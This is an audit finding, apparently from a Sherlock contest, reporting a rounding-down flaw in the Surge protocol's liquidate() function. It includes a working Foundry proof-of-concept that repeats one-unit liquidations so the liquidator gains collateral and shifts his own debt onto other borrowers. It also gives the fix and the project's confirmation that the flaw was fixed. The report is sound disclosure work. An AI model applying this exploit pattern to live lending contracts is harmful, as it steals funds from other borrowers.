A liquidator can gain not only collateral, but also can reduce his own debt!
Source: https://github.com/sherlock-audit/2023-02-surge-judging/issues/101
Found by
chaduke
Summary
A liquidator can gain not only collateral, but also can reduce his own debt.
This is achieved by taking advantage of the following vulnerability of the liquidate():
it has a rounding down precision error and when one calls liquidate(Bob, 1), it is possible that the total debt is reduced by 1, but the debt share is 0, and thus Bob's debt shares will not be reduced. In this way, the liquidator can shift part of debt to the remaining borrowers while getting the collateral of the liquidation.
In summary, the liquidator will be able to liquidate a debtor, grab proportionately the collateral, and in addition, reduce his own debt by shifting some of his debt to the other borrowers.
Vulnerability Detail
Below, I explain the vulnerability and then show the code POC to demonstate how a liquidator can gain collateral as well as reduce his own debt!
- The
liquidate()function callstokenToShares()at L587 to calculate the number of debt shares for the inputamount. Note it uses a rounding-down.
https://github.com/sherlock-audit/2023-02-surge/blob/main/surge-protocol-v1/src/Pool.sol#L553-L609
- Due to rounding down, it is possible that while
amount !=0, the returned number of debt shares could be zero!
https://github.com/sherlock-audit/2023-02-surge/blob/main/surge-protocol-v1/src/Pool.sol#L199-L204
- In the following code POC, we show that Bob (the test account) and Alice (address(1)) both borrow 1000 loan tokens, and after one year, each of them owe 1200 loan tokens. Bob liquidates Alice's debt with 200 loan tokens. Bob gets the 200 collateral tokens (proportionately). In addition, Bob reduces his own debt from 1200 to 1100!
To run this test, one needs to change pool.getDebtOf() as a public function.
function testLiquidateSteal() external {
uint loanTokenAmount = 12000;
uint borrowAmount = 1000;
uint collateralAmountA = 10000;
uint collateralAmountB = 1400;
MockERC20 collateralToken = new MockERC20(collateralAmountA+collateralAmountB, 18);
MockERC20 loanToken = new MockERC20(loanTokenAmount, 18);
Pool pool = factory.deploySurgePool(IERC20(address(collateralToken)), IERC20(address(loanToken)), 0.8e18, 0.5e18, 1e15, 1e15, 0.1e18, 0.4e18, 0.6e18);
loanToken.approve(address(pool), loanTokenAmount);
pool.deposit(loanTokenAmount);
// Alice borrows 1000
collateralToken.transfer(address(1), collateralAmountB);
vm.prank(address(1));
collateralToken.approve(address(pool), collateralAmountB);
vm.prank(address(1));
pool.addCollateral(address(1), collateralAmountB);
vm.prank(address(1));
pool.borrow(borrowAmount);
// Bob borrows 1000 too
collateralToken.approve(address(pool), collateralAmountA);
pool.addCollateral(address(this), collateralAmountA);
pool.borrow(borrowAmount);
// Bob's debt becomes 1200
vm.warp(block.timestamp + 365 days);
pool.withdraw(0);
uint mydebt = pool.getDebtOf(pool.debtSharesBalanceOf(address(this)), pool.debtSharesSupply(), pool.lastTotalDebt());
assertEq(mydebt, 1200);
// Alice's debt becomes 1200
uint address1Debt = pool.getDebtOf(pool.debtSharesBalanceOf(address(1)), pool.debtSharesSupply(), pool.lastTotalDebt());
assertEq(address1Debt, 1200);
assertEq(pool.lastTotalDebt(), 2399);
uint myCollateralBeforeLiquidate = collateralToken.balanceOf(address(this));
// liquidate 200 for Alice
loanToken.approve(address(pool), 200);
for(int i; i<200; i++)
pool.liquidate(address(1), 1);
// Alice's debt shares are NOT reduced, now Bob's debt is reduced to 1100
uint debtShares = pool.debtSharesBalanceOf(address(1));
assertEq(debtShares, 1000);
assertEq(pool.lastTotalDebt(), 2199);
address1Debt = pool.getDebtOf(pool.debtSharesBalanceOf(address(1)), pool.debtSharesSupply(), pool.lastTotalDebt());
assertEq(address1Debt, 1100);
mydebt = pool.getDebtOf(pool.debtSharesBalanceOf(address(this)), pool.debtSharesSupply(), pool.lastTotalDebt());
assertEq(mydebt, 1100);
// Bob gains the collateral as well proportionately
uint myCollateralAfterLiquidate = collateralToken.balanceOf(address(this));
assertEq(myCollateralAfterLiquidate-myCollateralBeforeLiquidate, 200);
}
Impact
A liquidator can gain not only collateral, but also can reduce his own debt. Thus, he effectively steals funding from the pool by off-shifting his debt to the remaining borrowers.
Code Snippet
See above
Tool used
VScode
Manual Review
Recommendation
We need to double check this edge case and now allowing the liquidate() to proceed when the # of debt shares is Zero.
function liquidate(address borrower, uint amount) external {
uint _loanTokenBalance = LOAN_TOKEN.balanceOf(address(this));
(address _feeRecipient, uint _feeMantissa) = FACTORY.getFee();
(
uint _currentTotalSupply,
uint _accruedFeeShares,
uint _currentCollateralRatioMantissa,
uint _currentTotalDebt
) = getCurrentState(
_loanTokenBalance,
_feeMantissa,
lastCollateralRatioMantissa,
totalSupply,
lastAccrueInterestTime,
lastTotalDebt
);
uint collateralBalance = collateralBalanceOf[borrower];
uint _debtSharesSupply = debtSharesSupply;
uint userDebt = getDebtOf(debtSharesBalanceOf[borrower], _debtSharesSupply, _currentTotalDebt);
uint userCollateralRatioMantissa = userDebt * 1e18 / collateralBalance;
require(userCollateralRatioMantissa > _currentCollateralRatioMantissa, "Pool: borrower not liquidatable");
address _borrower = borrower; // avoid stack too deep
uint _amount = amount; // avoid stack too deep
uint _shares;
uint collateralReward;
if(_amount == type(uint).max || _amount == userDebt) {
collateralReward = collateralBalance;
_shares = debtSharesBalanceOf[_borrower];
_amount = userDebt;
} else {
uint userInvertedCollateralRatioMantissa = collateralBalance * 1e18 / userDebt;
collateralReward = _amount * userInvertedCollateralRatioMantissa / 1e18; // rounds down
_shares = tokenToShares(_amount, _currentTotalDebt, _debtSharesSupply, false);
}
+ if(_shares == 0) revert ZeroShareLiquidateNotAllowed();
_currentTotalDebt -= _amount;
// commit current state
debtSharesBalanceOf[_borrower] -= _shares;
debtSharesSupply = _debtSharesSupply - _shares;
collateralBalanceOf[_borrower] = collateralBalance - collateralReward;
totalSupply = _currentTotalSupply;
lastTotalDebt = _currentTotalDebt;
lastAccrueInterestTime = block.timestamp;
lastCollateralRatioMantissa = _currentCollateralRatioMantissa;
emit Liquidate(_borrower, _amount, collateralReward);
if(_accruedFeeShares > 0) {
address __feeRecipient = _feeRecipient; // avoid stack too deep
balanceOf[__feeRecipient] += _accruedFeeShares;
emit Transfer(address(0), __feeRecipient, _accruedFeeShares);
}
// interactions
safeTransferFrom(LOAN_TOKEN, msg.sender, address(this), _amount);
safeTransfer(COLLATERAL_TOKEN, msg.sender, collateralReward);
}
Discussion
xeious
Low potential impact of precision loss. Recommending medium severity.
xeious
Fixed https://github.com/Surge-fi/surge-protocol-v1/commit/2dd470292c88b363505928b70d44546fce602ee3
IAm0x52
Fix looks good. Liquidation now reverts if liquidating 0 shares
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is known
A medium-severity business logic bug in Surge. Sherlock made it public on 27 March 2023. Found in the 51 audit contest (finding M-1).
About Business logic
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.